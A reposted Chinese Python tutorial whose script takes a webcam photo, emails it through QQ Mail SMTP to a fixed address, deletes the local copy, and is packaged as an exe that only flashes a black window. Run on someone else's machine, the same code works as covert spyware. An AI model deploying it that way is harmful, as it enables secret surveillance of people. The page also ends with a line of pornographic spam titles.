您的位置:首頁 > 教程 > python > Python實現調用攝像頭拍攝照片

Python實現調用攝像頭拍攝照片

2022-06-18 11:59:11 來源:易采站長站 作者:

Python實現調用攝像頭拍攝照片

目錄
步驟代碼實現效果

ZDB站長之家-易采站長站-Easck.Com

步驟

    用opencv打開攝像頭并拍照保存照片到本地獲取郵箱(如QQ%e9%82%ae%e7%ae%b1/0.shtml target=_blank>QQ郵箱)的授權碼,方法可自行百度將照片以附件的形式發送到指定郵箱刪除本地照片

    ZDB站長之家-易采站長站-Easck.Com

    代碼

    import os                                       # 刪除圖片文件
    import cv2                                      # 調用攝像頭拍攝照片
    from smtplib import SMTP_SSL                    # SSL加密的   傳輸協議
    from email.mime.text import MIMEText            # 構建郵件文本
    from email.mime.multipart import MIMEMultipart  # 構建郵件體
    from email.header import Header                 # 發送內容
    
    
    # 調用攝像頭拍攝照片
    def get_photo():
        cap = cv2.VideoCapture(0)           # 開啟攝像頭
        f, frame = cap.read()               # 將攝像頭中的一幀圖片數據保存
        cv2.imwrite('image.jpg', frame)     # 將圖片保存為本地文件
        cap.release()                       # 關閉攝像頭
    
    
    # 把圖片文件發送到我的郵箱
    def send_message():
        # 選擇QQ郵箱發送照片
        host_server = 'smtp.qq.com'         # QQ郵箱smtp服務器
        pwd = 'xxxx'            # 授權碼
        from_qq_mail = 'xxx@qq.com'          # 發件人
        to_qq_mail = 'xxxx@qq.com'            # 收件人
        msg = MIMEMultipart()               # 創建一封帶附件的郵件
    
        msg['Subject'] = Header('攝像頭照片', 'UTF-8')    # 消息主題
        msg['From'] = from_qq_mail                       # 發件人
        msg['To'] = Header("YH", 'UTF-8')                # 收件人
        msg.attach(MIMEText("照片", 'html', 'UTF-8'))    # 添加郵件文本信息
    
        # 加載附件到郵箱中  SSL 方式   加密
        image = MIMEText(open('image.jpg', 'rb').read(), 'base64', 'utf-8')
        image["Content-Type"] = 'image/jpeg'   # 附件格式為圖片的加密數據
        msg.attach(image)                      # 附件添加
    
        # 開始發送郵件
        smtp = SMTP_SSL(host_server)           # 鏈接服務器
        smtp .login(from_qq_mail, pwd)         # 登錄郵箱
        smtp.sendmail(from_qq_mail, to_qq_mail, msg.as_string())  # 發送郵箱
        smtp.quit()     # 退出
    
    
    if __name__ == '__main__':
        get_photo()                 # 開啟攝像頭獲取照片
        send_message()              # 發送照片
        os.remove('image.jpg')      # 刪除本地照片
    

    ZDB站長之家-易采站長站-Easck.Com

    實現效果

    將寫好的程序打包成exe文件ZDB站長之家-易采站長站-Easck.Com

    ZDB站長之家-易采站長站-Easck.Com

    為了減小exe的大小可以自行新建一個虛擬環境再打包ZDB站長之家-易采站長站-Easck.Com

    雙擊exe暫時出現黑框ZDB站長之家-易采站長站-Easck.Com

    ZDB站長之家-易采站長站-Easck.Com

    查看郵箱信息ZDB站長之家-易采站長站-Easck.Com

    ZDB站長之家-易采站長站-Easck.Com

    ZDB站長之家-易采站長站-Easck.Com

    需要下載附件后自行更改文件后綴就可查看所拍到的圖片了ZDB站長之家-易采站長站-Easck.Com

    到此這篇關于Python實現調用攝像頭拍攝照片的文章就介紹到這了,更多相關Python攝像頭拍攝照片內容請搜索易采站長站以前的文章或繼續瀏覽下面的相關文章希望大家以后多多支持易采站長站!ZDB站長之家-易采站長站-Easck.Com

    如有侵權,請聯系QQ:279390809 電話:15144810328

相關文章

色七七影院_香港三级台湾三级在线播放_男人放进女人阳道猛进猛出